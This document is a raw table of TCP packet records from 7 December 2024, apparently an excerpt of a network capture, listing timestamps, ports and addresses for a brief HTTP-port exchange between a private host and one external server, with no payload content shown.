Dec 7, 2024 08:43:10.236367941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.236396074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.236413956 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.237288952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.237335920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.237405062 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.237447023 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.238271952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.238315105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.238408089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.238452911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.239582062 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.239598036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.239628077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.239639044 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.240304947 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.240350008 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.240395069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.240439892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.241318941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.241363049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.241364002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.241400957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.242342949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.242392063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.242420912 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.242463112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.243354082 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.243396997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.243463039 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.243508101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.244359016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.244404078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.244482994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.244525909 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.245371103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.245423079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.245497942 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.245541096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.246370077 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.246419907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.246479988 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.246519089 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.247370958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.247426987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.247483969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.247529030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.248408079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.248452902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.248496056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.248538971 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.249393940 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.249444962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.249566078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.249624014 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.250402927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.250448942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.301450014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.301476002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.301498890 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.301522970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.301850080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.301897049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.301939964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.301984072 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.302906036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.302951097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.303005934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.303052902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.303858042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.303901911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.303977013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.304022074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.304892063 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.304939032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.305022955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.305066109 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.305927992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.305949926 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.305974960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.306004047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.306904078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.306950092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.307034969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.307079077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.307923079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.307970047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.307976007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.308005095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.308932066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.308975935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.309026957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.309063911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.309904099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.309952974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.310007095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.310044050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.357929945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.357990026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.357995987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.358025074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.358436108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.358484030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.358622074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.358669996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.359460115 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.359487057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.359508991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.359539032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.360447884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.360511065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.360518932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.360559940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.361500025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.361515045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.361548901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.361577034 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.362458944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.362509012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.362652063 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.362699032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.363501072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.363549948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.363583088 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.363616943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.364487886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.364537001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.364602089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.364639044 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.365520000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.365566015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.365587950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.365629911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.366504908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.366554976 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.366605997 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.366641998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.367523909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.367572069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.367594957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.367635012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.368501902 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.368546963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.368597031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.368655920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.369528055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.369571924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.369628906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.369671106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.370572090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.370623112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.370651007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.370692968 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.371594906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.371651888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.371660948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.371695042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.372591019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.372633934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.372723103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.372767925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.373605967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.373651028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.373723030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.373768091 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.374578953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.374614954 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.374713898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.374763966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.375619888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.375669956 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.375735044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.375782013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.376621008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.376671076 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.376787901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.376830101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.419756889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.419805050 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.419822931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.419852972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.420198917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.420244932 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.420284986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.420321941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.421202898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.421253920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.421310902 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.421358109 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.422204018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.422250032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.422252893 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.422286987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.423233986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.423281908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.423355103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.423401117 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.424324036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.424377918 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.424398899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.424438953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.425246000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.425299883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.425451040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.425498009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.426337957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.426383018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.426476002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.426521063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.427275896 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.427323103 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.427500963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.427541971 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.428272009 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.428314924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.428364992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.428400040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.429282904 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.429325104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.429472923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.429514885 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.430309057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.430347919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.430583000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.430622101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.431343079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.431382895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.431427002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.431463957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.432315111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.432362080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.432580948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.432621002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.433315039 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.433366060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.433396101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.433434010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.434391975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.434438944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.434505939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.434544086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.435363054 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.435405970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.435462952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.435514927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.436347961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.436399937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.436495066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.436530113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.437367916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.437407970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.437441111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.437485933 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.438352108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.438394070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.438520908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.438568115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.439382076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.439429045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.439462900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.439507008 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.440396070 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.440450907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.440474033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.440510035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.441390038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.441435099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.441467047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.441503048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.442393064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.442440033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.493314981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.493385077 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.493406057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.493429899 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.493556023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.493585110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.493597984 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.493621111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.494545937 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.494586945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.494664907 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.494713068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.495654106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.495695114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.495771885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.495814085 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.496577978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.496622086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.496679068 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.496721029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.497610092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.497656107 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.497694016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.497735977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.498610973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.498661995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.498668909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.498709917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.499694109 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.499741077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.499759912 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.499804974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.500593901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.500639915 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.500663042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.500704050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.501637936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.501682997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.501775980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.501821041 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.502767086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.502810001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.550121069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.550137997 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.550232887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.550462961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.550514936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.550566912 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.550614119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.551486015 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.551532984 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.551745892 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.551793098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.552571058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.552620888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.552730083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.552776098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.553500891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.553548098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.553615093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.553659916 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.554527998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.554582119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.554821014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.554867029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.555547953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.555600882 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.555743933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.555793047 CET	49704	80	192.168.2.5	185.215.113.206
